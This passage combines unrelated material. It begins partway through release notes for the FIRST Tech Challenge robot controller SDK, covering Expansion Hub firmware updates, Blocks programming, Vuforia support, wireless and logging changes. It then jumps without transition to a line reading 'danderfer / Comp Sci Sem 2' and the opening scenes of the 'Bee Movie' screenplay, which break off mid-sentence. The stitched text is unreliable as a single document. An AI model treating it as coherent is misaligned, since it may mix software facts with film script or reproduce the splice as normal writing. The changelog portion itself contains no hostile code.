blocks. Deprecated older PID-related methods and variables. REV's 1.8.x PIDF-related changes provide a more linear and accurate way to control a motor. Wireless Added 5GHz support for wireless channel changing for those devices that support it. Tested with Moto G5 and E4 phones. Also tested with other (currently non-approved) phones such as Samsung Galaxy S8. Improved Expansion Hub firmware update support in Robot Controller app Changes to make the system more robust during the firmware update process (when performed through Robot Controller app). User no longer has to disconnect a downstream daisy-chained Expansion Hub when updating an Expansion Hub's firmware. If user is updating an Expansion Hub's firmware through a USB connection, he/she does not have to disconnect RS485 connection to other Expansion Hubs. The user still must use a USB connection to update an Expansion Hub's firmware. The user cannot update the Expansion Hub firmware for a downstream device that is daisy chained through an RS485 connection. If an Expansion Hub accidentally gets "bricked" the Robot Controller app is now more likely to recognize the Hub when it scans the USB bus. Robot Controller app should be able to detect an Expansion Hub, even if it accidentally was bricked in a previous update attempt. Robot Controller app should be able to install the firmware onto the Hub, even if if accidentally was bricked in a previous update attempt. Resiliency FTC software can detect and enable an FTDI reset feature that is available with REV Robotics v1.8 Expansion Hub firmware and greater. When enabled, the Expansion Hub can detect if it hasn't communicated with the Robot Controller over the FTDI (USB) connection. If the Hub hasn't heard from the Robot Controller in a while, it will reset the FTDI connection. This action helps system recover from some ESD-induced disruptions. Various fixes to improve reliability of FTC software. Blocks Fixed errors with string and list indices in blocks export to java. Support for USB connected UVC webcams. Refactored optimized Blocks Vuforia code to support Rover Ruckus image targets. Added programming blocks to support PIDF (proportional, integral, derivative and feed forward) motor control. Added formatting options (under Telemetry and Miscellaneous categories) so user can set how many decimal places to display a numerical value. Support to play audio files (which are uploaded through Blocks web interface) on Driver Station in addition to the Robot Controller. Fixed bug with Download Image of Blocks feature. Support for REV Robotics Blinkin LED Controller. Support for REV Robotics 2m Distance Sensor. Added support for a REV Touch Sensor (no longer have to configure as a generic digital device). Added blocks for DcMotorEx methods. These are enhanced methods that you can use when supported by the motor controller hardware. The REV Robotics Expansion Hub supports these enhanced methods. Enhanced methods include methods to get/set motor velocity (in encoder pulses per second), get/set PIDF coefficients, etc.. Modest Improvements in Logging Decrease frequency of battery checker voltage statements. Removed non-FTC related log statements (wherever possible). Introduced a "Match Logging" feature. Under "Settings" a user can enable/disable this feature (it's disabled by default). If enabled, user provides a "Match Number" through the Driver Station user interface (top of the screen). The Match Number is used to create a log file specifically with log statements from that particular Op Mode run. Match log files are stored in /sdcard/FIRST/matlogs on the Robot Controller. Once an op mode run is complete, the Match Number is cleared. This is a convenient way to create a separate match log with statements only related to a specific op mode run. New Devices Support for REV Robotics Blinkin LED Controller. Support for REV Robotics 2m Distance Sensor. Added configuration option for REV 20:1 HD Hex Motor. Added support for a REV Touch Sensor (no longer have to configure as a generic digital device). Miscellaneous Fixed some errors in the definitions for acceleration and velocity in our javadoc documentation. Added ability to play audio files on Driver Station When user is configuring an Expansion Hub, the LED on the Expansion Hub will change blink pattern (purple-cyan) to indicate which Hub is currently being configured. Renamed I2cSensorType to I2cDeviceType. Added an external sample Op Mode that demonstrates localization using 2018-2019 (Rover Ruckus presented by QualComm) Vuforia targets. Added an external sample Op Mode that demonstrates how to use the REV Robotics 2m Laser Distance Sensor. Added an external sample Op Mode that demonstrates how to use the REV Robotics Blinkin LED Controller. Re-categorized external Java sample Op Modes to "TeleOp" instead of "Autonomous". Known issues: Initial support for UVC compatible cameras UVC cameras seem to draw significant amount of current from the USB bus. This does not appear to present any problems for the REV Robotics Control Hub. This does seem to create stability problems when using some cameras with an Android phone-based Robot Controller. FTC Tech Team is investigating options to mitigate this issue with the phone-based Robot Controllers. There might be a possible deadlock which causes the RC to become unresponsive when using a UVC webcam with a Nougat Android Robot Controller. Wireless When user selects a wireless channel, this channel does not necessarily persist if the phone is power cycled. Tech Team is hoping to eventually address this issue in a future release. Issue has been present since apps were introduced (i.e., it is not new with the v4.0 release). Wireless channel is not currently displayed for WiFi Direct connections. Miscellaneous The blink indication feature that shows which Expansion Hub is currently being configured does not work for a newly created configuration file. User has to first save a newly created configuration file and then close and re-edit the file in order for blink indicator to work. Version 3.6 (built on 17.12.18) Changes include: Blocks Changes Uses updated Google Blockly software to allow users to edit their op modes on Apple iOS devices (including iPad and iPhone). Improvement in Blocks tool to handle corrupt op mode files. Autonomous op modes should no longer get switched back to tele-op after re-opening them to be edited. The system can now detect type mismatches during runtime and alert the user with a message on the Driver Station. Updated javadoc documentation for setPower() method to reflect correct range of values (-1 to +1). Modified VuforiaLocalizerImpl to allow for user rendering of frames Added a user-overrideable onRenderFrame() method which gets called by the class's renderFrame() method. Version 3.5 (built on 17.10.30) Changes with version 3.5 include: Introduced a fix to prevent random op mode stops, which can occur after the Robot Controller app has been paused and then resumed (for example, when a user temporarily turns off the display of the Robot Controller phone, and then turns the screen back on). Introduced a fix to prevent random op mode stops, which were previously caused by random peer disconnect events on the Driver Station. Fixes issue where log files would be closed on pause of the RC or DS, but not re-opened upon resume. Fixes issue with battery handler (voltage) start/stop race. Fixes issue where Android Studio generated op modes would disappear from available list in certain situations. Fixes problem where OnBot Java would not build on REV Robotics Control Hub. Fixes problem where OnBot Java would not build if the date and time on the Robot Controller device was "rewound" (set to an earlier date/time). Improved error message on OnBot Java that occurs when renaming a file fails. Removed unneeded resources from android.jar binaries used by OnBot Java to reduce final size of Robot Controller app. Added MR_ANALOG_TOUCH_SENSOR block to Blocks Programming Tool. Version 3.4 (built on 17.09.06) Changes with version 3.4 include: Added telemetry.update() statement for BlankLinearOpMode template. Renamed sample Block op modes to be more consistent with Java samples. Added some additional sample Block op modes. Reworded OnBot Java readme slightly. Version 3.3 (built on 17.09.04) This version of the software includes improves for the FTC Blocks Programming Tool and the OnBot Java Programming Tool. Changes with verion 3.3 include: Android Studio ftc_app project has been updated to use Gradle Plugin 2.3.3. Android Studio ftc_app project is already using gradle 3.5 distribution. Robot Controller log has been renamed to /sdcard/RobotControllerLog.txt (note that this change was actually introduced w/ v3.2). Improvements in I2C reliability. Optimized I2C read for REV Expansion Hub, with v1.7 firmware or greater. Updated all external/samples (available through OnBot and in Android project folder). Vuforia Added support for VuMarks that will be used for the 2017-2018 season game. Blocks Update to latest Google Blockly release. Sample op modes can be selected as a template when creating new op mode. Fixed bug where the blocks would disappear temporarily when mouse button is held down. Added blocks for Range.clip and Range.scale. User can now disable/enable Block op modes. Fix to prevent occasional Blocks deadlock. OnBot Java Significant improvements with autocomplete function for OnBot Java editor. Sample op modes can be selected as a template when creating new op mode. Fixes and changes to complete hardware setup feature. Updated (and more useful) onBot welcome message. Known issues: Android Studio After updating to the new v3.3 Android Studio project folder, if you get error messages indicating "InvalidVirtualFileAccessException" then you might need to do a File->Invalidate Caches / Restart to clear the error. OnBot Java Sometimes when you push the build button to build all op modes, the RC returns an error message that the build failed. If you press the build button a second time, the build typically suceeds. Version 3.2 (built on 17.08.02) This version of the software introduces the "OnBot Java" Development Tool. Similar to the FTC Blocks Development Tool, the FTC OnBot Java Development Tool allows a user to create, edit and build op modes dynamically using only a Javascript-enabled web browser. The OnBot Java Development Tool is an integrated development environment (IDE) that is served up by the Robot Controller. Op modes are created and edited using a Javascript-enabled browser (Google Chromse is recommended). Op modes are saved on the Robot Controller Android device directly. The OnBot Java Development Tool provides a Java programming environment that does NOT need Android Studio. Changes with version 3.2 include: Enhanced web-based development tools Introduction of OnBot Java Development Tool. Web-based programming and management features are "always on" (user no longer needs to put Robot Controller into programming mode). Web-based management interface (where user can change Robot Controller name and also easily download Robot Controller log file). OnBot Java, Blocks and Management features available from web based interface. Blocks Programming Development Tool: Changed "LynxI2cColorRangeSensor" block to "REV Color/range sensor" block. Fixed tooltip for ColorSensor.isLightOn block. Added blocks for ColorSensor.getNormalizedColors and LynxI2cColorRangeSensor.getNormalizedColors. Added example op modes for digital touch sensor and REV Robotics Color Distance sensor. User selectable color themes. Includes many minor enhancements and fixes (too numerous to list). Known issues: Auto complete function is incomplete and does not support the following (for now): Access via this keyword Access via super keyword Members of the super cloass, not overridden by the class Any methods provided in the current class Inner classes Can't handle casted objects Any objects coming from an parenthetically enclosed expression Version 3.10 (built on 17.05.09) This version of the software provides support for the REV Robotics Expansion Hub. This version also includes improvements in the USB communication layer in an effort to enhance system resiliency. If you were using a 2.x version of the software previously, updating to version 3.1 requires that you also update your Driver Station software in addition to updating the Robot Controller software. Also note that in version 3.10 software, the setMaxSpeed and getMaxSpeed methods are no longer available (not deprecated, they have been removed from the SDK). Also note that the the new 3.x software incorporates motor profiles that a user can select as he/she configures the robot. Changes include: Blocks changes Added VuforiaTrackableDefaultListener.getPose and Vuforia.trackPose blocks. Added optimized blocks support for Vuforia extended tracking. Added atan2 block to the math category. Added useCompetitionFieldTargetLocations parameter to Vuforia.initialize block. If set to false, the target locations are placed at (0,0,0) with target orientation as specified in https://github.com/gearsincorg/FTCVuforiaDemo/blob/master/Robot_Navigation.java tutorial op mode. Incorporates additional improvements to USB comm layer to improve system resiliency (to recover from a greater number of communication disruptions). Additional Notes Regarding Version 3.00 (built on 17.04.13) In addition to the release changes listed below (see section labeled "Version 3.00 (built on 17.04.013)"), version 3.00 has the following important changes: Version 3.00 software uses a new version of the FTC Robocol (robot protocol). If you upgrade to v3.0 on the Robot Controller and/or Android Studio side, you must also upgrade the Driver Station software to match the new Robocol. Version 3.00 software removes the setMaxSpeed and getMaxSpeed methods from the DcMotor class. If you have an op mode that formerly used these methods, you will need to remove the references/calls to these methods. Instead, v3.0 provides the max speed information through the use of motor profiles that are selected by the user during robot configuration. Version 3.00 software currently does not have a mechanism to disable extra i2c sensors. We hope to re-introduce this function with a release in the near future. Version 3.00 (built on 17.04.13) *** Use this version of the software at YOUR OWN RISK!!! *** This software is being released as an "alpha" version. Use this version at your own risk! This pre-release software contains SIGNIFICANT changes, including changes to the Wi-Fi Direct pairing mechanism, rewrites of the I2C sensor classes, changes to the USB/FTDI layer, and the introduction of support for the REV Robotics Expansion Hub and the REV Robotics color-range-light sensor. These changes were implemented to improve the reliability and resiliency of the FTC control system. Please note, however, that version 3.00 is considered "alpha" code. This code is being released so that the FIRST community will have an opportunity to test the new REV Expansion Hub electronics module when it becomes available in May. The developers do not recommend using this code for critical applications (i.e., competition use). *** Use this version of the software at YOUR OWN RISK!!! *** Changes include: Major rework of sensor-related infrastructure. Includes rewriting sensor classes to implement synchronous I2C communication. Fix to reset Autonomous timer back to 30 seconds. Implementation of specific motor profiles for approved 12V motors (includes Tetrix, AndyMark, Matrix and REV models). Modest improvements to enhance Wi-Fi P2P pairing. Fixes telemetry log addition race. Publishes all the sources (not just a select few). Includes Block programming improvements Addition of optimized Vuforia blocks. Auto scrollbar to projects and sounds pages. Fixed blocks paste bug. Blocks execute after while-opModeIsActive loop (to allow for cleanup before exiting op mode). Added gyro integratedZValue block. Fixes bug with projects page for Firefox browser. Added IsSpeaking block to AndroidTextToSpeech. Implements support for the REV Robotics Expansion Hub Implements support for integral REV IMU (physically installed on I2C bus 0, uses same Bosch BNO055 9 axis absolute orientation sensor as Adafruit 9DOF abs orientation sensor). - Implements support for REV color/range/light sensor. Provides support to update Expansion Hub firmware through FTC SDK. Detects REV firmware version and records in log file. Includes support for REV Control Hub (note that the REV Control Hub is not yet approved for FTC use). Implements FTC Blocks programming support for REV Expansion Hub and sensor hardware. Detects and alerts when I2C device disconnect. Version 2.62 (built on 17.01.07) Added null pointer check before calling modeToByte() in finishModeSwitchIfNecessary method for ModernRoboticsUsbDcMotorController class. Changes to enhance Modern Robotics USB protocol robustness. Version 2.61 (released on 16.12.19) Blocks Programming mode changes: Fix to correct issue when an exception was thrown because an OpticalDistanceSensor object appears twice in the hardware map (the second time as a LightSensor). Version 2.6 (released on 16.12.16) Fixes for Gyro class: Improve (decrease) sensor refresh latency. fix isCalibrating issues. Blocks Programming mode changes: Blocks now ignores a device in the configuration xml if the name is empty. Other devices work in configuration work fine. Version 2.5 (internal release on released on 16.12.13) Blocks Programming mode changes: Added blocks support for AdafruitBNO055IMU. Added Download Op Mode button to FtcBocks.html. Added support for copying blocks in one OpMode and pasting them in an other OpMode. The clipboard content is stored on the phone, so the programming mode server must be running. Modified Utilities section of the toolbox. In Programming Mode, display information about the active connections. Fixed paste location when workspace has been scrolled. Added blocks support for the android Accelerometer. Fixed issue where Blocks Upload Op Mode truncated name at first dot. Added blocks support for Android SoundPool. Added type safety to blocks for Acceleration. Added type safety to blocks for AdafruitBNO055IMU.Parameters. Added type safety to blocks for AnalogInput. Added type safety to blocks for AngularVelocity. Added type safety to blocks for Color. Added type safety to blocks for ColorSensor. Added type safety to blocks for CompassSensor. Added type safety to blocks for CRServo. Added type safety to blocks for DigitalChannel. Added type safety to blocks for ElapsedTime. Added type safety to blocks for Gamepad. Added type safety to blocks for GyroSensor. Added type safety to blocks for IrSeekerSensor. Added type safety to blocks for LED. Added type safety to blocks for LightSensor. Added type safety to blocks for LinearOpMode. Added type safety to blocks for MagneticFlux. Added type safety to blocks for MatrixF. Added type safety to blocks for MrI2cCompassSensor. Added type safety to blocks for MrI2cRangeSensor. Added type safety to blocks for OpticalDistanceSensor. Added type safety to blocks for Orientation. Added type safety to blocks for Position. Added type safety to blocks for Quaternion. Added type safety to blocks for Servo. Added type safety to blocks for ServoController. Added type safety to blocks for Telemetry. Added type safety to blocks for Temperature. Added type safety to blocks for TouchSensor. Added type safety to blocks for UltrasonicSensor. Added type safety to blocks for VectorF. Added type safety to blocks for Velocity. Added type safety to blocks for VoltageSensor. Added type safety to blocks for VuforiaLocalizer.Parameters. Added type safety to blocks for VuforiaTrackable. Added type safety to blocks for VuforiaTrackables. Added type safety to blocks for enums in AdafruitBNO055IMU.Parameters. Added type safety to blocks for AndroidAccelerometer, AndroidGyroscope, AndroidOrientation, and AndroidTextToSpeech. Version 2.4 (released on 16.11.13) Fix to avoid crashing for nonexistent resources. Blocks Programming mode changes: Added blocks to support OpenGLMatrix, MatrixF, and VectorF. Added blocks to support AngleUnit, AxesOrder, AxesReference, CameraDirection, CameraMonitorFeedback, DistanceUnit, and TempUnit. Added blocks to support Acceleration. Added blocks to support LinearOpMode.getRuntime. Added blocks to support MagneticFlux and Position. Fixed typos. Made blocks for ElapsedTime more consistent with other objects. Added blocks to support Quaternion, Velocity, Orientation, AngularVelocity. Added blocks to support VuforiaTrackables, VuforiaTrackable, VuforiaLocalizer, VuforiaTrackableDefaultListener. Fixed a few blocks. Added type checking to new blocks. Updated to latest blockly. Added default variable blocks to navigation and matrix blocks. Fixed toolbox entry for openGLMatrix_rotation_withAxesArgs. When user downloads Blocks-generated op mode, only the .blk file is downloaded. When user uploads Blocks-generated op mode (.blk file), Javascript code is auto generated. Added DbgLog support. Added logging when a blocks file is read/written. Fixed bug to properly render blocks even if missing devices from configuration file. Added support for additional characters (not just alphanumeric) for the block file names (for download and upload). Added support for OpMode flavor (“Autonomous” or “TeleOp”) and group. Changes to Samples to prevent tutorial issues. Incorporated suggested changes from public pull 216 (“Replace .. paths”). Remove Servo Glitches when robot stopped. if user hits “Cancels” when editing a configuration file, clears the unsaved changes and reverts to original unmodified configuration. Added log info to help diagnose why the Robot Controller app was terminated (for example, by watch dog function). Added ability to transfer log from the controller. Fixed inconsistency for AngularVelocity Limit unbounded growth of data for telemetry. If user does not call telemetry.update() for LinearOpMode in a timely manner, data added for telemetry might get lost if size limit is exceeded. Version 2.35 (released on 16.10.06) Blockly programming mode - Removed unnecesary idle() call from blocks for new project. Version 2.30 (released on 16.10.05) Blockly programming mode: Mechanism added to save Blockly op modes from Programming Mode Server onto local device To avoid clutter, blocks are displayed in categorized folders Added support for DigitalChannel Added support for ModernRoboticsI2cCompassSensor Added support for ModernRoboticsI2cRangeSensor Added support for VoltageSensor Added support for AnalogInput Added support for AnalogOutput Fix for CompassSensor setMode block Vuforia Fix deadlock / make camera data available while Vuforia is running. Update to Vuforia 6.0.117 (recommended by Vuforia and Google to close security loophole). Fix for autonomous 30 second timer bug (where timer was in effect, even though it appeared to have timed out). opModeIsActive changes to allow cleanup after op mode is stopped (with enforced 2 second safety timeout). Fix to avoid reading i2c twice. Updated sample Op Modes. Improved logging and fixed intermittent freezing. Added digital I/O sample. Cleaned up device names in sample op modes to be consistent with Pushbot guide. Fix to allow use of IrSeekerSensorV3. Version 2.20 (released on 16.09.08) Support for Modern Robotics Compass Sensor. Support for Modern Robotics Range Sensor. Revise device names for Pushbot templates to match the names used in Pushbot guide. Fixed bug so that IrSeekerSensorV3 device is accessible as IrSeekerSensor in hardwareMap. Modified computer vision code to require an individual Vuforia license (per legal requirement from PTC). Minor fixes. Blockly enhancements: Support for Voltage Sensor. Support for Analog Input. Support for Analog Output. Support for Light Sensor. Support for Servo Controller. Version 2.10 (released on 16.09.03) Support for Adafruit IMU. Improvements to ModernRoboticsI2cGyro class Block on reset of z axis. isCalibrating() returns true while gyro is calibration. Updated sample gyro program. Blockly enhancements support for android.graphics.Color. added support for ElapsedTime. improved look and legibility of blocks. support for compass sensor. support for ultrasonic sensor. support for IrSeeker. support for LED. support for color sensor. support for CRServo prompt user to configure robot before using programming mode. Provides ability to disable audio cues. various bug fixes and improvements. Version 2.00 (released on 16.08.19) This is the new release for the upcoming 2016-2017 FIRST Tech Challenge Season. Channel change is enabled in the FTC Robot Controller app for Moto G 2nd and 3rd Gen phones. Users can now use annotations to register/disable their Op Modes. Changes in the Android SDK, JDK and build tool requirements (minsdk=19, java 1.7, build tools 23.0.3). Standardized units in analog input. Cleaned up code for existing analog sensor classes. setChannelMode and getChannelMode were REMOVED from the DcMotorController class. This is important - we no longer set the motor modes through the motor controller. setMode and getMode were added to the DcMotor class. ContinuousRotationServo class has been added to the FTC SDK. Range.clip() method has been overloaded so it can support this operation for int, short and byte integers. Some changes have been made (new methods added) on how a user can access items from the hardware map. Users can now set the zero power behavior for a DC motor so that the motor will brake or float when power is zero. Prototype Blockly Programming Mode has been added to FTC Robot Controller. Users can place the Robot Controller into this mode, and then use a device (such as a laptop) that has a Javascript enabled browser to write Blockly-based Op Modes directly onto the Robot Controller. Users can now configure the robot remotely through the FTC Driver Station app. Android Studio project supports Android Studio 2.1.x and compile SDK Version 23 (Marshmallow). Vuforia Computer Vision SDK integrated into FTC SDK. Users can use sample vision targets to get localization information on a standard FTC field. Project structure has been reorganized so that there is now a TeamCode package that users can use to place their local/custom Op Modes into this package. Inspection function has been integrated into the FTC Robot Controller and Driver Station Apps (Thanks Team HazMat… 9277 & 10650!). Audio cues have been incorporated into FTC SDK. Swap mechanism added to FTC Robot Controller configuration activity. For example, if you have two motor controllers on a robot, and you misidentified them in your configuration file, you can use the Swap button to swap the devices within the configuration file (so you do not have to manually re-enter in the configuration info for the two devices). Fix mechanism added to all user to replace an electronic module easily. For example, suppose a servo controller dies on your robot. You replace the broken module with a new module, which has a different serial number from the original servo controller. You can use the Fix button to automatically reconfigure your configuration file to use the serial number of the new module. Improvements made to fix resiliency and responsiveness of the system. For LinearOpMode the user now must for a telemetry.update() to update the telemetry data on the driver station. This update() mechanism ensures that the driver station gets the updated data properly and at the same time. The Auto Configure function of the Robot Controller is now template based. If there is a commonly used robot configuration, a template can be created so that the Auto Configure mechanism can be used to quickly configure a robot of this type. The logic to detect a runaway op mode (both in the LinearOpMode and OpMode types) and to abort the run, then auto recover has been improved/implemented. Fix has been incorporated so that Logitech F310 gamepad mappings will be correct for Marshmallow users. Release 16.07.08 For the ftc_app project, the gradle files have been modified to support Android Studio 2.1.x. Release 16.03.30 For the MIT App Inventor, the design blocks have new icons that better represent the function of each design component. Some changes were made to the shutdown logic to ensure the robust shutdown of some of our USB services. A change was made to LinearOpMode so as to allow a given instance to be executed more than once, which is required for the App Inventor. Javadoc improved/updated. Release 16.03.09 Changes made to make the FTC SDK synchronous (significant change!) waitOneFullHardwareCycle() and waitForNextHardwareCycle() are no longer needed and have been deprecated. runOpMode() (for a LinearOpMode) is now decoupled from the system's hardware read/write thread. loop() (for an OpMode) is now decoupled from the system's hardware read/write thread. Methods are synchronous. For example, if you call setMode(DcMotorController.RunMode.RESET_ENCODERS) for a motor, the encoder is guaranteed to be reset when the method call is complete. For legacy module (NXT compatible), user no longer has to toggle between read and write modes when reading from or writing to a legacy device. Changes made to enhance reliability/robustness during ESD event. Changes made to make code thread safe. Debug keystore added so that user-generated robot controller APKs will all use the same signed key (to avoid conflicts if a team has multiple developer laptops for example). Firmware version information for Modern Robotics modules are now logged. Changes made to improve USB comm reliability and robustness. Added support for voltage indicator for legacy (NXT-compatible) motor controllers. Changes made to provide auto stop capabilities for op modes. A LinearOpMode class will stop when the statements in runOpMode() are complete. User does not have to push the stop button on the driver station. If an op mode is stopped by the driver station, but there is a run away/uninterruptible thread persisting, the app will log an error message then force itself to crash to stop the runaway thread. Driver Station UI modified to display lowest measured voltage below current voltage (12V battery). Driver Station UI modified to have color background for current voltage (green=good, yellow=caution, red=danger, extremely low voltage). javadoc improved (edits and additional classes). Added app build time to About activity for driver station and robot controller apps. Display local IP addresses on Driver Station About activity. Added I2cDeviceSynchImpl. Added I2cDeviceSync interface. Added seconds() and milliseconds() to ElapsedTime for clarity. Added getCallbackCount() to I2cDevice. Added missing clearI2cPortActionFlag. Added code to create log messages while waiting for LinearOpMode shutdown. Fix so Wifi Direct Config activity will no longer launch multiple times. Added the ability to specify an alternate i2c address in software for the Modern Robotics gyro. Release 16.02.09 Improved battery checker feature so that voltage values get refreshed regularly (every 250 msec) on Driver Station (DS) user interface. Improved software so that Robot Controller (RC) is much more resilient and “self-healing” to USB disconnects: If user attempts to start/restart RC with one or more module missing, it will display a warning but still start up. When running an op mode, if one or more modules gets disconnected, the RC & DS will display warnings,and robot will keep on working in spite of the missing module(s). If a disconnected module gets physically reconnected the RC will auto detect the module and the user will regain control of the recently connected module. Warning messages are more helpful (identifies the type of module that’s missing plus its USB serial number). Code changes to fix the null gamepad reference when users try to reference the gamepads in the init() portion of their op mode. NXT light sensor output is now properly scaled. Note that teams might have to readjust their light threshold values in their op modes. On DS user interface, gamepad icon for a driver will disappear if the matching gamepad is disconnected or if that gamepad gets designated as a different driver. Robot Protocol (ROBOCOL) version number info is displayed in About screen on RC and DS apps. Incorporated a display filter on pairing screen to filter out devices that don’t use the “-“ format. This filter can be turned off to show all WiFi Direct devices. Updated text in License file. Fixed formatting error in OpticalDistanceSensor.toString(). Fixed issue on with a blank (“”) device name that would disrupt WiFi Direct Pairing. Made a change so that the WiFi info and battery info can be displayed more quickly on the DS upon connecting to RC. Improved javadoc generation. Modified code to make it easier to support language localization in the future. Release 16.01.04 Updated compileSdkVersion for apps Prevent Wifi from entering power saving mode removed unused import from driver station Corrrected "Dead zone" joystick code. LED.getDeviceName and .getConnectionInfo() return null apps check for ROBOCOL_VERSION mismatch Fix for Telemetry also has off-by-one errors in its data string sizing / short size limitations error User telemetry output is sorted. added formatting variants to DbgLog and RobotLog APIs code modified to allow for a long list of op mode names. changes to improve thread safety of RobocolDatagramSocket Fix for "missing hardware leaves robot controller disconnected from driver station" error fix for "fast tapping of Init/Start causes problems" (toast is now only instantiated on UI thread). added some log statements for thread life cycle. moved gamepad reset logic inside of initActiveOpMode() for robustness changes made to mitigate risk of race conditions on public methods. changes to try and flag when WiFi Direct name contains non-printable characters. fix to correct race condition between .run() and .close() in ReadWriteRunnableStandard. updated FTDI driver made ReadWriteRunnableStanard interface public. fixed off-by-one errors in Command constructor moved specific hardware implmentations into their own package. moved specific gamepad implemnatations to the hardware library. changed LICENSE file to new BSD version. fixed race condition when shutting down Modern Robotics USB devices. methods in the ColorSensor classes have been synchronized. corrected isBusy() status to reflect end of motion. corrected "back" button keycode. the notSupported() method of the GyroSensor class was changed to protected (it should not be public). Release 15.11.04.001 Added Support for Modern Robotics Gyro. The GyroSensor class now supports the MR Gyro Sensor. Users can access heading data (about Z axis) Users can also access raw gyro data (X, Y, & Z axes). Example MRGyroTest.java op mode included. Improved error messages More descriptive error messages for exceptions in user code. Updated DcMotor API Enable read mode on new address in setI2cAddress Fix so that driver station app resets the gamepads when switching op modes. USB-related code changes to make USB comm more responsive and to display more explicit error messages. Fix so that USB will recover properly if the USB bus returns garbage data. Fix USB initializtion race condition. Better error reporting during FTDI open. More explicit messages during USB failures. Fixed bug so that USB device is closed if event loop teardown method was not called. Fixed timer UI issue Fixed duplicate name UI bug (Legacy Module configuration). Fixed race condition in EventLoopManager. Fix to keep references stable when updating gamepad. For legacy Matrix motor/servo controllers removed necessity of appending "Motor" and "Servo" to controller names. Updated HT color sensor driver to use constants from ModernRoboticsUsbLegacyModule class. Updated MR color sensor driver to use constants from ModernRoboticsUsbDeviceInterfaceModule class. Correctly handle I2C Address change in all color sensors Updated/cleaned up op modes. Updated comments in LinearI2cAddressChange.java example op mode. Replaced the calls to "setChannelMode" with "setMode" (to match the new of the DcMotor method). Removed K9AutoTime.java op mode. Added MRGyroTest.java op mode (demonstrates how to use MR Gyro Sensor). Added MRRGBExample.java op mode (demonstrates how to use MR Color Sensor). Added HTRGBExample.java op mode (demonstrates how to use HT legacy color sensor). Added MatrixControllerDemo.java (demonstrates how to use legacy Matrix controller). Updated javadoc documentation. Updated release .apk files for Robot Controller and Driver Station apps. Release 15.10.06.002 Added support for Legacy Matrix 9.6V motor/servo controller. Cleaned up build.gradle file. Minor UI and bug fixes for driver station and robot controller apps. Throws error if Ultrasonic sensor (NXT) is not configured for legacy module port 4 or 5. Release 15.08.03.001 New user interfaces for FTC Driver Station and FTC Robot Controller apps. An init() method is added to the OpMode class. For this release, init() is triggered right before the start() method. Eventually, the init() method will be triggered when the user presses an "INIT" button on driver station. The init() and loop() methods are now required (i.e., need to be overridden in the user's op mode). The start() and stop() methods are optional. A new LinearOpMode class is introduced. Teams can use the LinearOpMode mode to create a linear (not event driven) program model. Teams can use blocking statements like Thread.sleep() within a linear op mode. The API for the Legacy Module and Core Device Interface Module have been updated. Support for encoders with the Legacy Module is now working. The hardware loop has been updated for better performance.
danderfer / Comp Sci Sem 2According to all known laws of aviation, there is no way that a bee should be able to fly. Its wings are too small to get its fat little body off the ground. The bee, of course, flies anyway. Because bees don’t care what humans think is impossible.” SEQ. 75 - “INTRO TO BARRY” INT. BENSON HOUSE - DAY ANGLE ON: Sneakers on the ground. Camera PANS UP to reveal BARRY BENSON’S BEDROOM ANGLE ON: Barry’s hand flipping through different sweaters in his closet. BARRY Yellow black, yellow black, yellow black, yellow black, yellow black, yellow black...oohh, black and yellow... ANGLE ON: Barry wearing the sweater he picked, looking in the mirror. BARRY (CONT’D) Yeah, let’s shake it up a little. He picks the black and yellow one. He then goes to the sink, takes the top off a CONTAINER OF HONEY, and puts some honey into his hair. He squirts some in his mouth and gargles. Then he takes the lid off the bottle, and rolls some on like deodorant. CUT TO: INT. BENSON HOUSE KITCHEN - CONTINUOUS Barry’s mother, JANET BENSON, yells up at Barry. JANET BENSON Barry, breakfast is ready! CUT TO: "Bee Movie" - JS REVISIONS 8/13/07 1. INT. BARRY’S ROOM - CONTINUOUS BARRY Coming! SFX: Phone RINGING. Barry’s antennae vibrate as they RING like a phone. Barry’s hands are wet. He looks around for a towel. BARRY (CONT’D) Hang on a second! He wipes his hands on his sweater, and pulls his antennae down to his ear and mouth. BARRY (CONT'D) Hello? His best friend, ADAM FLAYMAN, is on the other end. ADAM Barry? BARRY Adam? ADAM Can you believe this is happening? BARRY Can’t believe it. I’ll pick you up. Barry sticks his stinger in a sharpener. SFX: BUZZING AS HIS STINGER IS SHARPENED. He tests the sharpness with his finger. SFX: Bing. BARRY (CONT’D) Looking sharp. ANGLE ON: Barry hovering down the hall, sliding down the staircase bannister. Barry’s mother, JANET BENSON, is in the kitchen. JANET BENSON Barry, why don’t you use the stairs? Your father paid good money for those. "Bee Movie" - JS REVISIONS 8/13/07 2. BARRY Sorry, I’m excited. Barry’s father, MARTIN BENSON, ENTERS. He’s reading a NEWSPAPER with the HEADLINE, “Queen gives birth to thousandtuplets: Resting Comfortably.” MARTIN BENSON Here’s the graduate. We’re very proud of you, Son. And a perfect report card, all B’s. JANET BENSON (mushing Barry’s hair) Very proud. BARRY Ma! I’ve got a thing going here. Barry re-adjusts his hair, starts to leave. JANET BENSON You’ve got some lint on your fuzz. She picks it off. BARRY Ow, that’s me! MARTIN BENSON Wave to us. We’ll be in row 118,000. Barry zips off. BARRY Bye! JANET BENSON Barry, I told you, stop flying in the house! CUT TO: SEQ. 750 - DRIVING TO GRADUATION EXT. BEE SUBURB - MORNING A GARAGE DOOR OPENS. Barry drives out in his CAR. "Bee Movie" - JS REVISIONS 8/13/07 3. ANGLE ON: Barry’s friend, ADAM FLAYMAN, standing by the curb. He’s reading a NEWSPAPER with the HEADLINE: “Frisbee Hits Hive: Internet Down. Bee-stander: “I heard a sound, and next thing I knew...wham-o!.” Barry drives up, stops in front of Adam. Adam jumps in. BARRY Hey, Adam. ADAM Hey, Barry. (pointing at Barry’s hair) Is that fuzz gel? BARRY A little. It’s a special day. Finally graduating. ADAM I never thought I’d make it. BARRY Yeah, three days of grade school, three days of high school. ADAM Those were so awkward. BARRY Three days of college. I’m glad I took off one day in the middle and just hitchhiked around the hive. ADAM You did come back different. They drive by a bee who’s jogging. ARTIE Hi Barry! BARRY (to a bee pedestrian) Hey Artie, growing a mustache? Looks good. Barry and Adam drive from the suburbs into the city. ADAM Hey, did you hear about Frankie? "Bee Movie" - JS REVISIONS 8/13/07 4. BARRY Yeah. ADAM You going to his funeral? BARRY No, I’m not going to his funeral. Everybody knows you sting someone you die, you don’t waste it on a squirrel. He was such a hot head. ADAM Yeah, I guess he could’ve just gotten out of the way. The DRIVE through a loop de loop. BARRY AND ADAM Whoa...Whooo...wheee!! ADAM I love this incorporating the amusement park right into our regular day. BARRY I guess that’s why they say we don’t need vacations. CUT TO: SEQ. 95 - GRADUATION EXT. GRADUATION CEREMONY - CONTINUOUS Barry and Adam come to a stop. They exit the car, 